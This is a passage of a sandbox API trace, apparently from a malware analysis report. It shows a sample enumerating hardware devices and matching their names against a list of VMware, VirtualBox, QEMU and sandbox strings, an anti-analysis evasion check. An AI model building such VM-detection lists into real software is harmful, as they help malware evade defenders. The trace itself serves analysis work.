(lpFirst="Intel Processor", lpSrch="VBoxGuest") returned 0x0 [0277.880] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.880] GetLastError () returned 0x7a [0277.880] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.880] StrStrIA (lpFirst="intelppm", lpSrch="vmxnet") returned 0x0 [0277.880] StrStrIA (lpFirst="intelppm", lpSrch="vmscsi") returned 0x0 [0277.880] StrStrIA (lpFirst="intelppm", lpSrch="VMAUDIO") returned 0x0 [0277.880] StrStrIA (lpFirst="intelppm", lpSrch="vmdebug") returned 0x0 [0277.881] StrStrIA (lpFirst="intelppm", lpSrch="vm3dmp") returned 0x0 [0277.881] StrStrIA (lpFirst="intelppm", lpSrch="vmrawdsk") returned 0x0 [0277.881] StrStrIA (lpFirst="intelppm", lpSrch="vmx_svga") returned 0x0 [0277.881] StrStrIA (lpFirst="intelppm", lpSrch="ansfltr") returned 0x0 [0277.881] StrStrIA (lpFirst="intelppm", lpSrch="sbtisht") returned 0x0 [0277.881] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xe, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.881] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.885] GetLastError () returned 0x7a [0277.885] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Pointing") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Accelerated") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware SCSI") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware SVGA") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Replay") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware server memory") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="CWSandbox") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="Virtual HD") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="QEMU") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="srootkit") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware VMaudio") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Vista") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VBoxVideo") returned 0x0 [0277.890] StrStrIA (lpFirst="??????? ????", lpSrch="VBoxGuest") returned 0x0 [0277.890] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.891] GetLastError () returned 0xd [0277.891] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xf, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.891] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.899] GetLastError () returned 0x7a [0277.899] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, RequiredSize=0x19fe7c) returned 1 [0277.905] StrStrIA (lpFirst="???????", lpSrch="VMware Pointing") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware Accelerated") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware SCSI") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware SVGA") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware Replay") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware server memory") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="CWSandbox") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="Virtual HD") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="QEMU") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="srootkit") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware VMaudio") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VMware Vista") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VBoxVideo") returned 0x0 [0277.906] StrStrIA (lpFirst="???????", lpSrch="VBoxGuest") returned 0x0 [0277.906] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.907] GetLastError () returned 0x7a [0277.907] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vmxnet") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vmscsi") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="VMAUDIO") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vmdebug") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vm3dmp") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vmrawdsk") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="vmx_svga") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="ansfltr") returned 0x0 [0277.947] StrStrIA (lpFirst="CompositeBus", lpSrch="sbtisht") returned 0x0 [0277.947] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x10, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.947] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.960] GetLastError () returned 0x7a [0277.960] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x14, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Pointing") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Accelerated") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware SCSI") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware SVGA") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Replay") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware server memory") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="CWSandbox") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="Virtual HD") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="QEMU") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="srootkit") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware VMaudio") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Vista") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VBoxVideo") returned 0x0 [0277.969] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VBoxGuest") returned 0x0 [0277.969] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.970] GetLastError () returned 0x7a [0277.970] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.970] StrStrIA (lpFirst="vdrvroot", lpSrch="vmxnet") returned 0x0 [0277.970] StrStrIA (lpFirst="vdrvroot", lpSrch="vmscsi") returned 0x0 [0277.970] StrStrIA (lpFirst="vdrvroot", lpSrch="VMAUDIO") returned 0x0 [0277.970] StrStrIA (lpFirst="vdrvroot", lpSrch="vmdebug") returned 0x0 [0277.970] StrStrIA (lpFirst="vdrvroot", lpSrch="vm3dmp") returned 0x0 [0277.971] StrStrIA (lpFirst="vdrvroot", lpSrch="vmrawdsk") returned 0x0 [0277.971] StrStrIA (lpFirst="vdrvroot", lpSrch="vmx_svga") returned 0x0 [0277.971] StrStrIA (lpFirst="vdrvroot", lpSrch="ansfltr") returned 0x0 [0277.971] StrStrIA (lpFirst="vdrvroot", lpSrch="sbtisht") returned 0x0 [0277.971] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x11, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.971] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.975] GetLastError () returned 0x7a [0277.975] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware Pointing") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware Accelerated") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware SCSI") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware SVGA") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware Replay") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="VMware server memory") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="CWSandbox") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="Virtual HD") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="QEMU") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.978] StrStrIA (lpFirst="???? ????", lpSrch="srootkit") returned 0x0 [0277.979] StrStrIA (lpFirst="???? ????", lpSrch="VMware VMaudio") returned 0x0 [0277.979] StrStrIA (lpFirst="???? ????", lpSrch="VMware Vista") returned 0x0 [0277.979] StrStrIA (lpFirst="???? ????", lpSrch="VBoxVideo") returned 0x0 [0277.979] StrStrIA (lpFirst="???? ????", lpSrch="VBoxGuest") returned 0x0 [0277.979] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.979] GetLastError () returned 0x7a [0277.979] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, PropertyBufferSize=0x5, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, RequiredSize=0x19fe7c) returned 1 [0277.979] StrStrIA (lpFirst="disk", lpSrch="vmxnet") returned 0x0 [0277.979] StrStrIA (lpFirst="disk", lpSrch="vmscsi") returned 0x0 [0277.979] StrStrIA (lpFirst="disk", lpSrch="VMAUDIO") returned 0x0 [0277.979] StrStrIA (lpFirst="disk", lpSrch="vmdebug") returned 0x0 [0277.980] StrStrIA (lpFirst="disk", lpSrch="vm3dmp") returned 0x0 [0277.980] StrStrIA (lpFirst="disk", lpSrch="vmrawdsk") returned 0x0 [0277.980] StrStrIA (lpFirst="disk", lpSrch="vmx_svga") returned 0x0 [0277.980] StrStrIA (lpFirst="disk", lpSrch="ansfltr") returned 0x0 [0277.980] StrStrIA (lpFirst="disk", lpSrch="sbtisht") returned 0x0 [0277.980] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x12, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.980] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.984] GetLastError () returned 0x7a [0277.984] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x12, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Pointing") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Accelerated") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware SCSI") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware SVGA") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Replay") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware server memory") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="CWSandbox") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="Virtual HD") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="QEMU") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="srootkit") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware VMaudio") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Vista") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VBoxVideo") returned 0x0 [0278.037] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VBoxGuest") returned 0x0 [0278.038] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.038] GetLastError () returned 0xd [0278.038] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x13, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.038] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.043] GetLastError () returned 0x7a [0278.043] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.048] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Pointing") returned 0x0 [0278.048] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Accelerated") returned 0x0 [0278.048] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SCSI") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SVGA") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Replay") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware server memory") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="CWSandbox") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="Virtual HD") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="QEMU") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="Red Hat VirtIO") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="srootkit") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware VMaudio") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Vista") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxVideo") returned 0x0 [0278.049] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxGuest") returned 0x0 [0278.049] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.050] GetLastError () returned 0xd [0278.050] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x14, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.050] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.060] GetLastError () returned 0x7a [0278.061] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Pointing") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Accelerated") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware SCSI") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware SVGA") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Replay") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware server memory") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="CWSandbox") returned 0x0 [0278.068] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="Virtual HD") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="QEMU") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="srootkit") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware VMaudio") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Vista") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VBoxVideo") returned 0x0 [0278.069] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VBoxGuest") returned 0x0 [0278.069] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.069] GetLastError () returned 0x7a [0278.069] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vmxnet") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vmscsi") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="VMAUDIO") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vmdebug") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vm3dmp") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vmrawdsk") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="vmx_svga") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="ansfltr") returned 0x0 [0278.070] StrStrIA (lpFirst="spaceport", lpSrch="sbtisht") returned 0x0 [0278.070] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x15, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.070] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.076] GetLastError () returned 0x7a [0278.076] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.129] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Pointing") returned 0x0 [0278.129] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Accelerated") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware SCSI") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware SVGA") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Replay") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware server memory") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="CWSandbox") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="Virtual HD") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="QEMU") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="srootkit") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware VMaudio") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Vista") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VBoxVideo") returned 0x0 [0278.130] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VBoxGuest") returned 0x0 [0278.130] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.131] GetLastError () returned 0xd [0278.131] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x16, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.131] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.235] GetLastError () returned 0x7a [0278.236] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Pointing") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Accelerated") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware SCSI") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware SVGA") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 